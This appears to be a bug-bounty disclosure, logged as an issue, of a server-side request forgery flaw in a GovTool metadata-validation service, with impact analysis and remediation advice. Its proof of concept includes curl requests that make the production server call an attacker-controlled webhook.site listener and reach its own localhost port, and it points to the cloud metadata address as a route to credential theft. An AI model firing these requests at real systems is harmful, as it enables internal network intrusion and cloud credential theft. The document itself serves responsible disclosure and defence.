🐛 [Bounty] - SSRF in Metadata-Validation Service via Loopback Escalation to Localhost

[Hornan7]

Context

Received via the security mailbox. I’m logging it here so we have proper tracking in place.

1. Executive Summary

I have identified a High-severity Server-Side Request Forgery (SSRF) vulnerability in the GovTool Metadata Validation service (metadata.gov.tools).

In simple words: The application acts as an open proxy that follows user-provided URLs without any safety checks. This allows an attacker to use your production server to "scan" your own internal network, potentially reaching databases, management consoles, or cloud metadata services that were never meant to be exposed to the internet.

2. Vulnerability Details

• Vulnerability Type: Server-Side Request Forgery (SSRF)
• Severity: High (7.0 - 8.9)
• Justification: The vulnerability allows unauthenticated attackers to probe the project's internal network perimeters and interact with services running on the loopback interface (localhost). This qualifies as "Unauthorized access to data/resources" and potentially "Information Disclosure" under the BBP criteria.
• Affected Component: govtool/metadata-validation (Node.js / NestJS)

3. Technical Description & Root Cause

The vulnerability stems from the complete lack of destination validation when performing outbound HTTP requests in the metadata validator.

• Vulnerable Endpoint: The validateMetadata function in AppService accepts a url parameter via the POST /validate endpoint.
• Lack of Filtering: The code directly passes this untrusted url to the NestJS HttpService.get call. There are no denylists for private IP ranges (e.g., 127.0.0.1, 10.0.0.x, 169.254.169.254) or protocol restrictions.
• Master Service Usage: The server utilizes its own network identity to perform these requests, effectively bypassing firewalls or VPC restrictions that might block external users but allow internal traffic.
  Location: app.service.ts:L32

Steps to reproduce

4. Proof of Concept (PoC)

I have verified that the production server can be used to perform arbitrary external requests and reach its own internal loopback interface.

Step 1: External Exfiltration Proof I triggered a request to a controlled listener (webhook.site). The production server (IP: 54.171.131.200) immediately hit my URL:

curl -X POST "https://metadata.gov.tools/validate" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://webhook.site/YOUR-ID", "hash": "d5a633..."}'

• Captured User-Agent: GovTool/Metadata-Validation-Tool
• Evidence: Please see the attached screenshot (webhook_proof.png) showing the incoming request details and the originating GovTool production IP.
  (Link: https://webhook.site/#!/view/89834b85-ac13-4002-b485-940fead34d2e/b8c8abde-0336-443d-82b7-862f5836d6b2/1)

Step 2: Internal Loopback Verification I successfully demonstrated that the service can "talk to itself" on restricted ports:

curl -X POST "https://metadata.gov.tools/validate" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost:3000/api", "hash": "any"}'

• Response: {"status":"INCORRECT_FORMAT","valid":false}
• Significance: The INCORRECT_FORMAT status confirms the server reached its own internal management port and received a response, proving network perimeter bypass.

Actual behavior

5. Impact Analysis

• Infrastructure Pivot & Lateral Movement: This SSRF serves as a bridge between the public internet and the trusted internal network. An attacker can use this to bypass firewalls and communicate with "internal-only" services that are not designed to handle malicious traffic.
• Cloud Infrastructure Takeover: Given the proximity to the AWS Metadata Service, this poses a direct risk of IAM credential theft, which could lead to a Total Cloud Compromise of the GovTool infrastructure.
• Internal Service Exploitation: By probing localhost and other internal hostnames, an attacker can discover and exploit unauthenticated administrative interfaces, databases, or configuration management tools.
• Production Reputation Hijacking: Since the requests originate from the official GovTool production IP, an attacker can launch distributed attacks or scan third-party targets, causing the project's infrastructure to be blacklisted as a source of malicious activity.

Expected behavior

6. Remediation

• Implement Strict IP Denylisting: Immediately block all requests to loopback (127.0.0.1), private networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and the AWS metadata IP (169.254.169.254).
• Enforce IMDSv2: Require session tokens for cloud metadata requests to prevent simple GET-based SSRF from harvesting IAM credentials.
• VPC Egress Filtering: Configure security groups to restrict the validation service's outbound access to only essential external IPs and ports (80/443).
• Apply URL Whitelisting: Restrict the service to only fetch from a predefined list of trusted domains or specific IPFS gateways.
• Network Segmentation: Move the validation service into a more isolated subnet with no visibility into sensitive backend or database assets.